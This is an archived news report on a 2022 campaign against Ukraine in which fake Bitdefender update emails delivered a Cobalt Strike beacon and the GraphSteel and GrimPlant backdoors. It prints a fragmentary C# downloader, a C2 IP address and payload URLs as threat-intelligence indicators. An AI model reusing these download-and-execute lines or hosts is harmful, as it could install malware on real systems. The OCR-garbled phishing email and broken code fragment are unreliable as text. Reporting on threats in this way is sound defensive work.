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Fake antivirus updates used to deploy Cobalt Strike in Ukraine

By Bill Toulas

Published: 2022-03-14 - Archived: 2026-04-05 14:40:17 UTC

Ukraine's Computer Emergency Response Team is warning that threat actors are distributing fake Windows antivirus
updates that install Cobalt Strike and other malware.

The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise
recipients to download "critical security updates," which come in the form of a 60 MB file named
"BitdefenderWindowsUpdatePackage.exe."

From: ov.ua Sent: Thu 3/10/2022 3:25 PM
To: jov.ua

@=
Subject: Yeara 11!

I Message " IHcTpyKuia 3 aHTvsipycHoro saxucry.doc (44 KB) ' Incrpyxuis kopucTysauis.doc (42 KB)

B ymogax 36poiiHoi arpecii P@® ¢ikcyeTbes 3HaYHA aKTHBI3alisA KOMI'IOTEPHHX aTaK Ha iHQOpPMaliiHi CHCTEMH YKPaiHCHKOTO CErMEHTa MEepesKi =l
TuTepHet =
Bimnosizso 1o 3akony Ykpainu " IIpo 3axucT iHpopManii B iHbopManiifHO-TeIeKOMYHIKaIliHUX cHcTeMax " Ha mifctasi pimenns PHBO Yipainu Bix
06.03.2022 poky JIepiKaBHOIO CITy’KGOKO CTICIHaTBHOTO 3B'S3KY CITLIBHO 3i CiryK60i0 Ge3rexn Ykpainu 3a dinancoBoi mixrpuvkn Vpsuxy Opanmii
TIPOBOJATECS 3aXO/IH MO0 3MIITHEHH iHopManiiiHoi Gesrexn.

3 MeTOIO BHKS 3arpos it Geameni Vkpainu Ta saxucty iHd iHHHIX pecypciB OpraHiB BIaH, Opramizauii Ta ycTaHoB
yeix GopM BIaCHOCTI HEOGXIMHO JOTPHMYBATHCA HACTYIIHHX PEKOMEH ANl

- BCTAHOBHTH J0JIaTKOBi KPHTHYHI O Ge3neKH i cucTemu Microsoft Windows 3 mep ceprudi aHTHBIpyCOM,
JOCTYIIHI JUIs 3aBAHTAaKEHHA 3 odinifiHoro caiity Bndefender ( hllgs //forkscenter.fr )

- BUKOPHCTOBYBAaTH Ha BCIiX 06'€KTax iH: ilfHO-TeTeKo! i Mepesxi cepTHbi i CBY auTHBipycHi 3ac06H 3 aKTyaTbHEME
OHOB/ICHHAMH:

- OpraHi3yBaTH Ha CepBEPi €ICKTPOHHOI MOmMTH GiTbTpaNiro BXiIHOI eIEKTPOHHOI KOPECIOHIEHIN] Ha IPEIMET HasABHOCTI CMIaM-TIOBi IOMICHb, a TAKOXK
CTEKTPOHHHX THCTIB, IO MiCTAT BKTAJCHHA HACTYTTHOTO THITY: exe, bat, cpl, dll, jar, msi, ser Tomo;
- opranizyBaTH GiTbTpaNiio BXiAHOTO BeG-TpadiKy 3 BHKOPHCTAHHAM KOHTCHT-(ITbTPiB COMIATLHIX MEPEHK i CaliTiB POIBAKATLHOTO XAPAKTCPY,

ot fHO HeG
- IPOBECTH JOAATKOBHIT mc-rpyxra;i\ cmapoGnHHms npo MOKIHBI "GimHHroBi" aTakH;
- yHuKaTH TaHHA CT DNS

- 03HANOMHTH Bi/INOBi TATBHAX CIIiBPOGITHHKIB 3 HAJAHHMH {HCTPYKIIiSMH.

BigmosizameHicTs 32 BHKJIaJCHHX PEKON iff MOK7Iaa€THCA HA KEPiBHUKIB
oprasiB BIaJH, OpraHi3aniil Ta ycTaHOB ycix ()opM BIacHOCTI.

JL1s oprasizanii B3a€MOJIii 3 pO3CIIilyBaHH KOMIT'IOTEPHHX iHIIMACHTIB 3BEPTATHCA 10 MpoBiaHoro daxisusa depxcenenss'asky Kymukartosy JI.1.
qtk.ua).

Phishing email urging the download of a fake AV updater (CERT-UA)

These emails contain a link to a French website (now offline) that offers download buttons for the alleged AV software
updates. Another website, nirsoft[.]Jme, was also discovered by MalwareHunterTeam to be acting as the command and

control server for this campaign.
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Malware-delivering website
Source: CERT-UA

When a victim downloads and run this fake BitDefender Windows update [VirusTotal], the screen below will be shown

prompting the users to install a 'Windows Update Package.'

However, this 'update' actually downloads and installs the one.exe file [VirusTotal] from the Discord CDN, which is

a Cobalt Strike beacon.

Cobalt Strike is a widely abused penetration testing suite that offers offensive security capabilities, facilitates lateral network

movement, and ensures persistence.

The same process fetches a Go downloader (dropper.exe) which decodes and executes a base-64-encoded file (java-sdk.exe).

This file adds a new Windows registry key for persistence and also downloads two more payloads, the GraphSteel backdoor

(microsoft-cortana.exe) and GrimPlant backdoor (oracle-java.exe).

public static void Main()
{

WebClient webClient = new WebClient();
File(

Thread. Sleep(1000) ;

webClient . DownloadFile(

Thread. Sleep(1006) ;

Process.Start( )i

le—

i E

http://45.84.0.116:443/i

dropper.exe

| Beacon |

,

https://forkscenter.fr/Sdghrt_umrjé/wisw.exe |

I
v

| Go downloader I

B

java-sdk.exe

Go downloader

http://45.84.0.116:443/p

https://cdn.discordapp.com/attachments/947916
997713358890/949978571680673802/cesdf.exe

The infection chain of the uncovered campaign (CER
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https://www.virustotal.com/gui/file/2f92d416f73472db1ebe880b3bec677bcb1d96d6ad62974da00b4be5f6d61f5b
https://www.virustotal.com/gui/file/2f92d416f73472db1ebe880b3bec677bcb1d96d6ad62974da00b4be5f6d61f5b
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All executables in the campaign are packed on the Themida tool, which protects them from reverse engineering, detection,

and analysis.

Go payloads

Both GraphSteel and GrimPlant are malware written in Go, a versatile and cross-platform programming language with

minimal footprint and low AV detection rates.

The capabilities of the two tools cover network reconnaissance, command execution, and file operations, so the fact that

both are deployed in the same system is likely done for redundancy.
GraphSteel features:

o Gather hostname, username, and IP address information
¢ Execute commands
o Steal account credentials

¢ Use WebSocket and GraphQL to communicate with C2 using AES and base64 encryption
GrimPlant capabilities:

o Gather IP address, hostname, OS, username, home dir
e Execute commands received remotely and return results to C2
e Use gRPC (HTTP/2+SSL) for C2 communication

Not many technical details have been provided on these two payloads, and we can't exclude the possibility of them being

known backdoors given new names in this report.

Attribution

Given the current situation in Ukraine, it's easy to attribute all hostile activity to Russian and pro-Russian threat actors, and

this seems to be the case here too.

The Ukrainian Computer Emergency Response Team associates the detected activity with the UAC-0056 group with

medium confidence.

UAC-0056, also known as "Lorec53", is a sophisticated Russian-speaking APT that uses a combination of phishing emails

and custom backdoors to collect information from Ukrainian organizations.

UAC-0056 was spotted ramping up its phishing distribution and network compromise efforts in Ukraine since December
2021.

The same actor was spotted targeting Georgian government agencies with phishing lures in the recent past, so there's a high

level of coordination and alignment with the interests of the Russian state.
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P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

A Prac

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.
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